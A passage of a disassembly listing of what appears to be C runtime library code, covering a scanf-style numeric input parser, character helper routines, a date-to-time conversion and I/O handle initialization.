XREF: sub_420920+CADj jmp short loc_421608 ; --------------------------------------------------------------------------- loc_4215EC: ; CODE XREF: sub_420920+C71j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_421DC0 add esp, 8 loc_421608: ; CODE XREF: sub_420920:loc_4215EAj jmp loc_421479 ; --------------------------------------------------------------------------- loc_42160D: ; CODE XREF: sub_420920+B5Fj movsx edx, [ebp+var_68] test edx, edx jz short loc_42161D mov eax, [ebp+var_40] neg eax mov [ebp+var_40], eax loc_42161D: ; CODE XREF: sub_420920:loc_421474j ; sub_420920+CF3j cmp [ebp+var_C], 46h jnz short loc_42162A mov [ebp+var_6C], 0 loc_42162A: ; CODE XREF: sub_420920+D01j cmp [ebp+var_6C], 0 jz short loc_421678 movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_421676 mov edx, [ebp+var_34] add edx, 1 mov [ebp+var_34], edx loc_421641: ; CODE XREF: sub_420920+D70j cmp [ebp+var_1DC], 0 jz short loc_42165A mov eax, [ebp+var_3C] mov ecx, [ebp+var_30] mov [eax], ecx mov edx, [ebp+var_2C] mov [eax+4], edx jmp short loc_421676 ; --------------------------------------------------------------------------- loc_42165A: ; CODE XREF: sub_420920+D28j movsx eax, [ebp+var_38] test eax, eax jz short loc_42166C mov ecx, [ebp+var_3C] mov edx, [ebp+var_40] mov [ecx], edx jmp short loc_421676 ; --------------------------------------------------------------------------- loc_42166C: ; CODE XREF: sub_420920+D40j mov eax, [ebp+var_3C] mov cx, word ptr [ebp+var_40] mov [eax], cx loc_421676: ; CODE XREF: sub_420920+D16j ; sub_420920+D38j ... jmp short loc_42167D ; --------------------------------------------------------------------------- loc_421678: ; CODE XREF: sub_420920+D0Ej jmp loc_421C0A ; --------------------------------------------------------------------------- loc_42167D: ; CODE XREF: sub_420920:loc_421676j jmp loc_421AB4 ; --------------------------------------------------------------------------- loc_421682: ; CODE XREF: sub_420920+3C4j ; DATA XREF: ___:00421CC6o mov edx, [ebp+var_20] mov [ebp+var_40], edx movsx eax, [ebp+var_70] test eax, eax jnz short loc_421692 jmp short loc_421641 ; --------------------------------------------------------------------------- loc_421692: ; CODE XREF: sub_420920+D6Ej jmp loc_421AB4 ; --------------------------------------------------------------------------- loc_421697: ; CODE XREF: sub_420920+3C4j ; DATA XREF: ___:00421CBEo lea ecx, [ebp+var_1D0] mov [ebp+var_1E0], ecx cmp [ebp+var_1D8], 2Dh jnz short loc_4216C6 mov edx, [ebp+var_1E0] mov byte ptr [edx], 2Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax jmp short loc_4216CF ; --------------------------------------------------------------------------- loc_4216C6: ; CODE XREF: sub_420920+D8Aj cmp [ebp+var_1D8], 2Bh jnz short loc_4216F3 loc_4216CF: ; CODE XREF: sub_420920+DA4j mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax loc_4216F3: ; CODE XREF: sub_420920+DADj cmp [ebp+var_1E8], 0 jz short loc_421705 cmp [ebp+var_1C], 15Dh jle short loc_42170C loc_421705: ; CODE XREF: sub_420920+DDAj mov [ebp+var_1C], 15Dh loc_42170C: ; CODE XREF: sub_420920+DE3j ; sub_420920+E82j cmp dword_443B70, 1 jle short loc_42172E push 4 mov ecx, [ebp+var_1D8] push ecx call sub_41DA90 add esp, 8 mov [ebp+var_218], eax jmp short loc_421748 ; --------------------------------------------------------------------------- loc_42172E: ; CODE XREF: sub_420920+DF3j mov edx, [ebp+var_1D8] mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_218], ecx loc_421748: ; CODE XREF: sub_420920+E0Cj cmp [ebp+var_218], 0 jz short loc_4217A7 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_4217A7 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax jmp loc_42170C ; --------------------------------------------------------------------------- loc_4217A7: ; CODE XREF: sub_420920+E2Fj ; sub_420920+E3Fj movsx ecx, byte_443B74 movsx edx, byte ptr [ebp+var_1D8] cmp ecx, edx jnz loc_4218A4 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_4218A4 mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1E0] mov dl, byte_443B74 mov [ecx], dl mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax loc_421809: ; CODE XREF: sub_420920+F7Fj cmp dword_443B70, 1 jle short loc_42182B push 4 mov ecx, [ebp+var_1D8] push ecx call sub_41DA90 add esp, 8 mov [ebp+var_21C], eax jmp short loc_421845 ; --------------------------------------------------------------------------- loc_42182B: ; CODE XREF: sub_420920+EF0j mov edx, [ebp+var_1D8] mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_21C], ecx loc_421845: ; CODE XREF: sub_420920+F09j cmp [ebp+var_21C], 0 jz short loc_4218A4 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_4218A4 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax jmp loc_421809 ; --------------------------------------------------------------------------- loc_4218A4: ; CODE XREF: sub_420920+E97j ; sub_420920+EABj ... cmp [ebp+var_6C], 0 jz loc_421A09 cmp [ebp+var_1D8], 65h jz short loc_4218C4 cmp [ebp+var_1D8], 45h jnz loc_421A09 loc_4218C4: ; CODE XREF: sub_420920+F95j mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx test ecx, ecx jz loc_421A09 mov eax, [ebp+var_1E0] mov byte ptr [eax], 65h mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 2Dh jnz short loc_42192E mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx jmp short loc_421937 ; --------------------------------------------------------------------------- loc_42192E: ; CODE XREF: sub_420920+FF2j cmp [ebp+var_1D8], 2Bh jnz short loc_42196D loc_421937: ; CODE XREF: sub_420920+100Cj mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jnz short loc_421952 mov edx, [ebp+var_1C] add edx, 1 mov [ebp+var_1C], edx jmp short loc_42196D ; --------------------------------------------------------------------------- loc_421952: ; CODE XREF: sub_420920+1025j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax loc_42196D: ; CODE XREF: sub_420920+1015j ; sub_420920+1030j ... cmp dword_443B70, 1 jle short loc_42198F push 4 mov edx, [ebp+var_1D8] push edx call sub_41DA90 add esp, 8 mov [ebp+var_220], eax jmp short loc_4219AA ; --------------------------------------------------------------------------- loc_42198F: ; CODE XREF: sub_420920+1054j mov eax, [ebp+var_1D8] mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_220], edx loc_4219AA: ; CODE XREF: sub_420920+106Dj cmp [ebp+var_220], 0 jz short loc_421A09 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz short loc_421A09 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1E0] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax jmp loc_42196D ; --------------------------------------------------------------------------- loc_421A09: ; CODE XREF: sub_420920+F88j ; sub_420920+F9Ej ... mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_421DC0 add esp, 8 cmp [ebp+var_6C], 0 jz short loc_421A63 movsx edx, [ebp+var_70] test edx, edx jnz short loc_421A61 mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 0 lea edx, [ebp+var_1D0] push edx mov eax, [ebp+var_3C] push eax movsx ecx, [ebp+var_38] sub ecx, 1 push ecx call off_444250 add esp, 0Ch loc_421A61: ; CODE XREF: sub_420920+1111j jmp short loc_421A68 ; --------------------------------------------------------------------------- loc_421A63: ; CODE XREF: sub_420920+1109j jmp loc_421C0A ; --------------------------------------------------------------------------- loc_421A68: ; CODE XREF: sub_420920:loc_421A61j jmp short loc_421AB4 ; --------------------------------------------------------------------------- loc_421A6A: ; CODE XREF: sub_420920+3B0j ; sub_420920+3C4j ; DATA XREF: ... mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] cmp eax, [ebp+var_1D8] jz short loc_421A9A mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_421DC0 add esp, 8 jmp loc_421C0A ; --------------------------------------------------------------------------- loc_421A9A: ; CODE XREF: sub_420920+1157j mov cl, [ebp+var_28] sub cl, 1 mov [ebp+var_28], cl movsx edx, [ebp+var_70] test edx, edx jnz short loc_421AB4 mov eax, [ebp+var_1D4] mov [ebp+arg_8], eax loc_421AB4: ; CODE XREF: sub_420920:loc_421116j ; sub_420920:loc_42167Dj ... mov cl, [ebp+var_28] add cl, 1 mov [ebp+var_28], cl jmp short loc_421AE0 ; --------------------------------------------------------------------------- loc_421ABF: ; CODE XREF: sub_420920+38Bj mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_421DC0 add esp, 8 jmp loc_421C0A ; --------------------------------------------------------------------------- loc_421AE0: ; CODE XREF: sub_420920+119Dj mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx jmp loc_421BE1 ; --------------------------------------------------------------------------- loc_421AEE: ; CODE XREF: sub_420920+11Dj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_421D60 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_421B46 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_421DC0 add esp, 8 jmp loc_421C0A ; --------------------------------------------------------------------------- loc_421B46: ; CODE XREF: sub_420920+1203j mov eax, [ebp+var_1D8] and eax, 0FFh mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_421BE1 mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_421D60 add esp, 4 mov [ebp+var_1F4], eax mov ecx, [ebp+var_1F4] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_421BD8 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1F4] push edx call sub_421DC0 add esp, 8 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_421DC0 add esp, 8 jmp short loc_421C0A ; --------------------------------------------------------------------------- loc_421BD8: ; CODE XREF: sub_420920+127Cj mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax loc_421BE1: ; CODE XREF: sub_420920+11C9j ; sub_420920+1245j cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_421C05 mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz short loc_421C03 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+1] cmp ecx, 6Eh jz short loc_421C05 loc_421C03: ; CODE XREF: sub_420920+12D4j jmp short loc_421C0A ; --------------------------------------------------------------------------- loc_421C05: ; CODE XREF: sub_420920+12C8j ; sub_420920+12E1j jmp loc_420997 ; --------------------------------------------------------------------------- loc_421C0A: ; CODE XREF: sub_420920+80j ; sub_420920+635j ... cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_421C3E cmp [ebp+var_34], 0 jnz short loc_421C2D movsx edx, [ebp+var_28] test edx, edx jnz short loc_421C2D mov [ebp+var_224], 0FFFFFFFFh jmp short loc_421C36 ; --------------------------------------------------------------------------- loc_421C2D: ; CODE XREF: sub_420920+12F7j ; sub_420920+12FFj mov eax, [ebp+var_34] mov [ebp+var_224], eax loc_421C36: ; CODE XREF: sub_420920+130Bj mov eax, [ebp+var_224] jmp short loc_421C41 ; --------------------------------------------------------------------------- loc_421C3E: ; CODE XREF: sub_420920+12F1j mov eax, [ebp+var_34] loc_421C41: ; CODE XREF: sub_420920+131Cj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420920 endp ; --------------------------------------------------------------------------- off_421C48 dd offset loc_420BDA ; DATA XREF: sub_420920+239r dd offset loc_420B60 dd offset loc_420B78 dd offset loc_420BBC dd offset loc_420B65 dd offset loc_420BC7 dd offset loc_420BCF dd offset loc_420BE5 byte_421C68 db 0 ; DATA XREF: sub_420920+233r db 3 dup(7) dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h) dd 7040707h, 7050707h, 2 dup(7070707h) db 7, 6 off_421CB6 dd offset loc_420CEB ; DATA XREF: sub_420920+3C4r dd offset loc_421224 dd offset loc_421697 dd offset loc_42111B dd offset loc_421682 dd offset loc_421220 dd offset loc_420D31 dd offset loc_421122 dd offset loc_420D56 dd offset loc_421A6A byte_421CDE db 0 ; DATA XREF: sub_420920+3BEr db 1 dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D00 proc near ; CODE XREF: sub_420920+9E9p ; sub_420920+BCCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp dword_443B70, 1 jle short loc_421D22 push 4 mov eax, [ebp+arg_0] push eax call sub_41DA90 add esp, 8 mov [ebp+var_4], eax jmp short loc_421D37 ; --------------------------------------------------------------------------- loc_421D22: ; CODE XREF: sub_421D00+Dj mov ecx, [ebp+arg_0] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_4], eax loc_421D37: ; CODE XREF: sub_421D00+20j cmp [ebp+var_4], 0 jz short loc_421D45 mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx jmp short loc_421D51 ; --------------------------------------------------------------------------- loc_421D45: ; CODE XREF: sub_421D00+3Bj mov edx, [ebp+arg_0] and edx, 0FFFFFFDFh sub edx, 7 mov [ebp+var_8], edx loc_421D51: ; CODE XREF: sub_421D00+43j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_421D00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D60 proc near ; CODE XREF: sub_420920+370p ; sub_420920+698p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jl short loc_421D9B mov ecx, [ebp+arg_0] mov edx, [ecx] movsx eax, byte ptr [edx] and eax, 0FFh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D9B: ; CODE XREF: sub_421D60+1Aj mov ecx, [ebp+arg_0] push ecx call sub_41DB50 add esp, 4 mov [ebp+var_4], eax loc_421DAA: ; CODE XREF: sub_421D60+39j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_421D60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DC0 proc near ; CODE XREF: sub_420920+ECp ; sub_420920+666p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_421DD9 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_428D70 add esp, 8 loc_421DD9: ; CODE XREF: sub_421DC0+7j pop ebp retn sub_421DC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DE0 proc near ; CODE XREF: sub_420920+E3p ; sub_420920+353p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx loc_421DE4: ; CODE XREF: sub_421DE0+30j mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_4] push eax call sub_421D60 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_428A50 add esp, 4 test eax, eax jz short loc_421E12 jmp short loc_421DE4 ; --------------------------------------------------------------------------- loc_421E12: ; CODE XREF: sub_421DE0+2Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_421DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E20 proc near ; CODE XREF: sub_418BB0+161p var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] sub eax, 76Ch mov [ebp+arg_0], eax cmp [ebp+arg_0], 46h jl short loc_421E40 cmp [ebp+arg_0], 8Ah jle short loc_421E48 loc_421E40: ; CODE XREF: sub_421E20+15j or eax, 0FFFFFFFFh jmp loc_421F0A ; --------------------------------------------------------------------------- loc_421E48: ; CODE XREF: sub_421E20+1Ej mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] add edx, dword_4445C4[ecx*4] mov [ebp+var_2C], edx mov eax, [ebp+arg_0] and eax, 3 test eax, eax jnz short loc_421E71 cmp [ebp+arg_4], 2 jle short loc_421E71 mov ecx, [ebp+var_2C] add ecx, 1 mov [ebp+var_2C], ecx loc_421E71: ; CODE XREF: sub_421E20+40j ; sub_421E20+46j mov edx, [ebp+arg_0] sub edx, 46h imul edx, 16Dh mov eax, [ebp+arg_0] sub eax, 1 sar eax, 2 mov ecx, [ebp+var_2C] add ecx, edx lea edx, [eax+ecx-11h] imul edx, 18h add edx, [ebp+arg_C] mov [ebp+var_4], edx mov eax, [ebp+var_4] imul eax, 3Ch add eax, [ebp+arg_10] imul eax, 3Ch add eax, [ebp+arg_14] mov [ebp+var_4], eax call sub_428EB0 mov ecx, [ebp+var_4] add ecx, dword_4444E0 mov [ebp+var_4], ecx mov edx, [ebp+var_2C] mov [ebp+var_C], edx mov eax, [ebp+arg_0] mov [ebp+var_14], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+arg_C] mov [ebp+var_20], edx cmp [ebp+arg_18], 1 jz short loc_421EFB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_421F07 cmp dword_4444E4, 0 jz short loc_421F07 lea eax, [ebp+var_28] push eax call sub_4292C0 add esp, 4 test eax, eax jz short loc_421F07 loc_421EFB: ; CODE XREF: sub_421E20+BAj mov ecx, [ebp+var_4] add ecx, dword_4444E8 mov [ebp+var_4], ecx loc_421F07: ; CODE XREF: sub_421E20+C0j ; sub_421E20+C9j ... mov eax, [ebp+var_4] loc_421F0A: ; CODE XREF: sub_421E20+23j mov esp, ebp pop ebp retn sub_421E20 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 6Ch push 81h push offset aIoinit_c ; "ioinit.c" push 2 push 480h call sub_414DD0 add esp, 10h mov [ebp-50h], eax cmp dword ptr [ebp-50h], 0 jnz short loc_421F42 push 1Bh call sub_41A9A0 add esp, 4 loc_421F42: ; CODE XREF: ___:00421F36j mov eax, [ebp-50h] mov dword_4DB460, eax mov dword_4DB560, 20h jmp short loc_421F5F ; --------------------------------------------------------------------------- loc_421F56: ; CODE XREF: ___:00421F91j mov ecx, [ebp-50h] add ecx, 24h mov [ebp-50h], ecx loc_421F5F: ; CODE XREF: ___:00421F54j mov edx, dword_4DB460 add edx, 480h cmp [ebp-50h], edx jnb short loc_421F93 mov eax, [ebp-50h] mov byte ptr [eax+4], 0 mov ecx, [ebp-50h] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp-50h] mov byte ptr [edx+5], 0Ah mov eax, [ebp-50h] mov dword ptr [eax+8], 0 jmp short loc_421F56 ; --------------------------------------------------------------------------- loc_421F93: ; CODE XREF: ___:00421F6Ej lea ecx, [ebp-48h] push ecx nop call near ptr 2850000h mov edx, [ebp-16h] and edx, 0FFFFh test edx, edx jz loc_422135 cmp dword ptr [ebp-14h], 0 jz loc_422135 mov eax, [ebp-14h] mov ecx, [eax] mov [ebp-64h], ecx mov edx, [ebp-14h] add edx, 4 mov [ebp-4], edx mov eax, [ebp-4] add eax, [ebp-64h] mov [ebp-60h], eax cmp dword ptr [ebp-64h], 800h jge short loc_421FE3 mov ecx, [ebp-64h] mov [ebp-68h], ecx jmp short loc_421FEA ; --------------------------------------------------------------------------- loc_421FE3: ; CODE XREF: ___:00421FD9j mov dword ptr [ebp-68h], 800h loc_421FEA: ; CODE XREF: ___:00421FE1j mov edx, [ebp-68h] mov [ebp-64h], edx mov dword ptr [ebp-5Ch], 1 jmp short loc_422002 ; --------------------------------------------------------------------------- loc_421FF9: ; CODE XREF: ___:loc_42209Dj mov eax, [ebp-5Ch] add eax, 1 mov [ebp-5Ch], eax loc_422002: ; CODE XREF: ___:00421FF7j mov ecx, dword_4DB560 cmp ecx, [ebp-64h] jge loc_4220A2 push 0B6h push offset aIoinit_c ; "ioinit.c" push 2 push 480h call sub_414DD0 add esp, 10h mov [ebp-50h], eax cmp dword ptr [ebp-50h], 0 jnz short loc_42203E mov edx, dword_4DB560 mov [ebp-64h], edx jmp short loc_4220A2 ; --------------------------------------------------------------------------- loc_42203E: ; CODE XREF: ___:00422031j mov eax, [ebp-5Ch] mov ecx, [ebp-50h] mov dword_4DB460[eax*4], ecx mov edx, dword_4DB560 add edx, 20h mov dword_4DB560, edx jmp short loc_422065 ; --------------------------------------------------------------------------- loc_42205C: ; CODE XREF: ___:0042209Bj mov eax, [ebp-50h] add eax, 24h mov [ebp-50h], eax loc_422065: ; CODE XREF: ___:0042205Aj mov ecx, [ebp-5Ch] mov edx, dword_4DB460[ecx*4] add edx, 480h cmp [ebp-50h], edx jnb short loc_42209D mov eax, [ebp-50h] mov byte ptr [eax+4], 0 mov ecx, [ebp-50h] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp-50h] mov byte ptr [edx+5], 0Ah mov eax, [ebp-50h] mov dword ptr [eax+8], 0 jmp short loc_42205C ; --------------------------------------------------------------------------- loc_42209D: ; CODE XREF: ___:00422078j jmp loc_421FF9 ; --------------------------------------------------------------------------- loc_4220A2: ; CODE XREF: ___:0042200Bj ; ___:0042203Cj mov dword ptr [ebp-58h], 0 jmp short loc_4220C6 ; --------------------------------------------------------------------------- loc_4220AB: ; CODE XREF: ___:loc_422130j mov ecx, [ebp-58h] add ecx, 1 mov [ebp-58h], ecx mov edx, [ebp-4] add edx, 1 mov [ebp-4], edx mov eax, [ebp-60h] add eax, 4 mov [ebp-60h], eax loc_4220C6: ; CODE XREF: ___:004220A9j mov ecx, [ebp-58h] cmp ecx, [ebp-64h] jge short loc_422135 mov edx, [ebp-60h] cmp dword ptr [edx], 0FFFFFFFFh jz short loc_422130 mov eax, [ebp-4] movsx ecx, byte ptr [eax] and ecx, 1 test ecx, ecx jz short loc_422130 mov edx, [ebp-4] movsx eax, byte ptr [edx] and eax, 8 test eax, eax jnz short loc_422100 mov ecx, [ebp-60h] mov edx, [ecx] push edx call near ptr 28C0000h nop test eax, eax jz short loc_422130 loc_422100: ; CODE XREF: ___:004220EEj mov eax, [ebp-58h] sar eax, 5 mov ecx, [ebp-58h] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] add edx, ecx mov [ebp-50h], edx mov eax, [ebp-50h] mov ecx, [ebp-60h] mov edx, [ecx] mov [eax], edx mov eax, [ebp-50h] mov ecx, [ebp-4] mov dl, [ecx] mov [eax+4], dl loc_422130: ; CODE XREF: ___:004220D4j ; ___:004220E1j ... jmp loc_4220AB ; --------------------------------------------------------------------------- loc_422135: ; CODE XREF: ___:00421FA8j ; ___:00421FB2j ... mov dword ptr [ebp-58h], 0 jmp short loc_422147 ; --------------------------------------------------------------------------- loc_42213E: ; CODE XREF: ___:loc_42221Fj mov eax, [ebp-58h] add eax, 1 mov [ebp-58h], eax loc_422147: ; CODE XREF: ___:0042213Cj cmp dword ptr [ebp-58h], 3 jge loc_422224 mov ecx, [ebp-58h] imul ecx, 24h mov edx, dword_4DB460 add edx, ecx mov [ebp-50h], edx mov eax, [ebp-50h] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_422210 mov ecx, [ebp-50h] mov byte ptr [ecx+4], 81h cmp dword ptr [ebp-58h], 0 jnz short loc_422184 mov dword ptr [ebp-6Ch], 0FFFFFFF6h jmp short loc_422194 ; --------------------------------------------------------------------------- loc_422184: ; CODE XREF: ___:00422179j mov edx, [ebp-58h] sub edx, 1 neg edx sbb edx, edx add edx, 0FFFFFFF5h mov [ebp-6Ch], edx loc_422194: ; CODE XREF: ___:00422182j mov eax, [ebp-6Ch] push eax call near ptr 2860000h nop mov [ebp-4Ch], eax cmp dword ptr [ebp-4Ch], 0FFFFFFFFh jz short loc_4221FF mov ecx, [ebp-4Ch] push ecx nop call near ptr 28C0000h mov [ebp-54h], eax cmp dword ptr [ebp-54h], 0 jz short loc_4221FF mov edx, [ebp-50h] mov eax, [ebp-4Ch] mov [edx], eax mov ecx, [ebp-54h] and ecx, 0FFh cmp ecx, 2 jnz short loc_4221E0 mov edx, [ebp-50h] mov al, [edx+4] or al, 40h mov ecx, [ebp-50h] mov [ecx+4], al jmp short loc_4221FD ; --------------------------------------------------------------------------- loc_4221E0: ; CODE XREF: ___:004221CEj mov edx, [ebp-54h] and edx, 0FFh cmp edx, 3 jnz short loc_4221FD mov eax, [ebp-50h] mov cl, [eax+4] or cl, 8 mov edx, [ebp-50h] mov [edx+4], cl loc_4221FD: ; CODE XREF: ___:004221DEj ; ___:004221ECj jmp short loc_42220E ; --------------------------------------------------------------------------- loc_4221FF: ; CODE XREF: ___:004221A5j ; ___:004221B8j mov eax, [ebp-50h] mov cl, [eax+4] or cl, 40h mov edx, [ebp-50h] mov [edx+4], cl loc_42220E: ; CODE XREF: ___:loc_4221FDj jmp short loc_42221F ; --------------------------------------------------------------------------- loc_422210: ; CODE XREF: ___:00422168j mov eax, [ebp-50h] mov cl, [eax+4] or cl, 80h mov edx, [ebp-50h] mov [edx+4], cl loc_42221F: ; CODE XREF: ___:loc_42220Ej jmp loc_42213E ; --------------------------------------------------------------------------- loc_422224: ; CODE XREF: ___:0042214Bj mov eax, dword_4DB560 push eax call near ptr 28B088Ch nop mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov dword ptr [ebp-8], 0 jmp short loc_422258 ; --------------------------------------------------------------------------- loc_42224F: ; CODE XREF: ___:loc_4222D2j mov eax, [ebp-8] add eax, 1 mov [ebp-8], 